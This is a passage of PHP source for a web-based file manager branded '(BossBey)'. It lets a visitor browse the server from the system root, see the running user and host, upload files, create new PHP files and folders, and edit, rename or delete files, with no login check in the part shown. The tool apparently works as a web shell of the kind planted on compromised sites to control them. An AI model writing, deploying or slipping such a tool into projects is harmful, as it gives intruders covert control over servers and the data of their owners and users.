$oldName = $_POST['old_name']; $newName = basename($_POST['new_name']); $oldPath = getSafePath($currentPath, $oldName); $newPath = getSafePath($currentPath, $newName); if (!empty($newName) && file_exists($oldPath) && !file_exists($newPath)) { if (@rename($oldPath, $newPath)) { $message = "Renamed successfully."; $msgType = "success"; $mode = 'main'; } else { $message = "Rename failed. Permission denied."; $msgType = "error"; } } else { $message = "Invalid name or already exists."; $msgType = "error"; } } elseif ($action === 'cancel') { $mode = 'main'; } } // --- DATA LISTING --- $items = []; if ($mode === 'main') { // Gunakan scandir biasa $scanned = @scandir($currentPath); if ($scanned === false) { $message = "Access Denied: Cannot read directory."; $msgType = "error"; } else { $folders = []; $files = []; foreach ($scanned as $item) { if ($item == '.') continue; $fullPath = getSafePath($currentPath, $item); // Logic Tombol [..] (Parent) // Jika item adalah '..' dan kita BUKAN di root system ('/'), maka tampilkan if ($item == '..') { if ($currentPath != DIRECTORY_SEPARATOR && $currentPath != '/') { $parentPath = dirname($currentPath); $folders[] = [ 'name' => '[..]', 'path' => $parentPath, // Path parent penuh 'type' => 'Folder', 'size' => '-', 'perm' => '', 'is_parent' => true ]; } continue; } // Cek permission rwx (Read Write Execute) simpel $perms = substr(sprintf('%o', fileperms($fullPath)), -4); $isWritable = is_writable($fullPath); $permStr = $perms . ($isWritable ? ' (W)' : ' (R-O)'); if (is_dir($fullPath)) { $folders[] = [ 'name' => $item, 'path' => $fullPath, // Simpan full path untuk link 'type' => 'Folder', 'size' => '-', 'perm' => $permStr, 'is_parent' => false ]; } else { $files[] = [ 'name' => $item, 'path' => $fullPath, 'type' => 'File', 'size' => formatSize(filesize($fullPath)), 'perm' => $permStr, 'is_parent' => false ]; } } $items = array_merge($folders, $files); } } // Info Server $serverInfo = get_current_user() . "@" . php_uname('n') . " (" . PHP_OS . ")"; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>File Manager (BossBey)</title> <style> body { font-family: Arial, sans-serif; margin: 20px; background: #f4f4f4; } .container { max-width: 1000px; margin: auto; background: #fff; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.1); } h2 { margin-top: 0; } .breadcrumb { font-size: 1.1em; font-family: monospace; padding: 12px; background: #e9ecef; border-radius: 4px; margin-bottom: 20px; word-wrap: break-word; } .breadcrumb a { text-decoration: none; color: #007bff; font-weight: bold; } .breadcrumb a:hover { text-decoration: underline; color: #0056b3; } .breadcrumb .sep { color: #6c757d; margin: 0 5px; } .msg { padding: 12px; margin-bottom: 20px; border-radius: 4px; border: 1px solid transparent; } .success { background: #d4edda; color: #155724; border-color: #c3e6cb; } .error { background: #f8d7da; color: #721c24; border-color: #f5c6cb; } .form-section { background: #f8f9fa; padding: 15px; border-radius: 4px; margin-bottom: 20px; border: 1px solid #ddd; } table { width: 100%; border-collapse: collapse; } th { background: #f1f1f1; text-align: left; padding: 10px; border-bottom: 2px solid #ddd; } td { padding: 10px; border-bottom: 1px solid #eee; vertical-align: middle; } tr:hover { background: #f9f9f9; } .folder-link { font-weight: bold; color: #d63384; text-decoration: none; } .file-link { color: #333; } .actions button { cursor: pointer; margin-right: 5px; padding: 2px 8px; font-size: 0.85em; } .editor-area { width: 100%; height: 400px; font-family: monospace; padding: 10px; box-sizing: border-box; } .server-info { font-size: 0.8em; color: #666; float: right; font-weight: normal; } </style> </head> <body> <div class="container"> <h2>(BossBey) File Manager</h2> <div class="breadcrumb"> <?php // 1. Link ke ROOT Sistem (/) echo "<a href='?dir=" . urlencode('/') . "'>[ROOT]</a>"; // 2. Pecah Path menjadi Array untuk dibuat link satu per satu // Contoh: /home/user/public_html -> ['', 'home', 'user', 'public_html'] $pathParts = explode(DIRECTORY_SEPARATOR, $currentPath); $buildLink = ''; foreach ($pathParts as $part) { if ($part === '') continue; // Skip kosong akibat explode '/' di awal // Bangun path bertahap: /home, lalu /home/user, dst $buildLink .= DIRECTORY_SEPARATOR . $part; echo "<span class='sep'>/</span>"; echo "<a href='?dir=" . urlencode($buildLink) . "'>" . htmlspecialchars($part) . "</a>"; } ?> <div class="server-info"><?php echo $serverInfo; ?></div> </div> <?php if ($message): ?> <div class="msg <?php echo $msgType; ?>"> <?php echo htmlspecialchars($message); ?> </div> <?php endif; ?> <?php if ($mode === 'edit'): ?> <h3>Editing: <?php echo htmlspecialchars($editFile); ?></h3> <form method="post"> <input type="hidden" name="action" value="save_file"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="file_content" class="editor-area"><?php echo htmlspecialchars($editContent); ?></textarea> <br><br> <button type="submit">Save Changes</button> <button type="submit" name="action" value="cancel" formnovalidate>Cancel</button> </form> <?php elseif ($mode === 'rename'): ?> <h3>Rename Item: <?php echo htmlspecialchars($renameTarget); ?></h3> <form method="post"> <input type="hidden" name="action" value="do_rename"> <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($renameTarget); ?>"> New Name: <input type="text" name="new_name" value="<?php echo htmlspecialchars($renameTarget); ?>" style="width:300px;"> <br><br> <button type="submit">Rename</button> <button type="submit" name="action" value="cancel" formnovalidate>Cancel</button> </form> <?php else: ?> <div class="form-section"> <?php if (isWritable($currentPath)): ?> <form method="post" enctype="multipart/form-data" style="display:inline-block; margin-right:20px; vertical-align:top;"> <strong>Upload:</strong><br> <input type="hidden" name="action" value="upload"> <input type="file" name="fileUpload"> <button type="submit">Upload</button> </form> <div style="display:inline-block; border-left: 1px solid #ddd; padding-left: 20px;"> <form method="post" style="margin-bottom: 5px;"> <input type="hidden" name="action" value="create_file"> <input type="text" name="new_filename" placeholder="newfile.php" size="15"> <button type="submit">New File</button> </form> <form method="post"> <input type="hidden" name="action" value="create_folder"> <input type="text" name="new_foldername" placeholder="newfolder" size="15"> <button type="submit">New Folder</button> </form> </div> <?php else: ?> <strong style="color:red;">Current Directory is Read-Only. Cannot Upload or Create items here.</strong> <?php endif; ?> </div> <table> <thead> <tr> <th>Name</th> <th width="100">Perms</th> <th width="80">Size</th> <th width="180">Actions</th> </tr> </thead> <tbody> <?php foreach ($items as $item): ?> <tr> <td class="grid-name"> <?php if ($item['type'] === 'Folder'): ?> <a href="?dir=<?php echo urlencode($item['path']); ?>" class="folder-link"> <?php echo htmlspecialchars($item['name']); ?> </a> <?php else: ?> <span class="file-link"><?php echo htmlspecialchars($item['name']); ?></span> <?php endif; ?> </td> <td style="font-size: 0.8em; color:#666;"><?php echo $item['perm']; ?></td> <td><?php echo $item['size']; ?></td> <td class="actions"> <?php if (!$item['is_parent']): ?> <?php if ($item['type'] === 'File'): ?> <form method="post" style="display:inline;"> <input type="hidden" name="action" value="edit_mode"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>"> <button type="submit">Edit</button> </form> <?php endif; ?> <form method="post" style="display:inline;"> <input type="hidden" name="action" value="rename_mode"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>"> <button type="submit">Ren</button> </form> <form method="post" style="display:inline;" onsubmit="return confirm('Delete <?php echo htmlspecialchars($item['name']); ?>?');"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="target_name" value="<?php echo htmlspecialchars($item['name']); ?>"> <button type="submit" style="color:red;">Del</button> </form> <?php endif; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> </body> </html> ?>
Save
Cancel